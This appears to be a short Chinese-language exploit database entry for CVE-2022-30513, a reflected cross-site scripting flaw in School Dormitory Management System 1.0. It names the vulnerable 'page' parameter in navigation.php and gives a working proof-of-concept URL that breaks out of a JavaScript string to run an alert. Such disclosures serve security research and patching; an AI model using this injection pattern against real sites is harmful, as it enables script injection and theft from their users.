CVE-2022-30513
School Dormitory Management System 1.0 - 反射型XSS
利用标题:School Dormitory Management System 1.0 - 反射型XSS
日期:2022-05-25
CVE:CVE-2022-30513
漏洞利用作者:Abdulaziz Saad (@b4zb0z)
版本:1.0
测试环境:LAMP, Ubuntu
[#] 漏洞位置:
$_GET['page'] 在 /dms/admin/inc/navigation.php:125
[#] 利用方式:
http://localhost/dms/admin/?page=%27;%20alert(%22b4zb0z%22);%20s=%27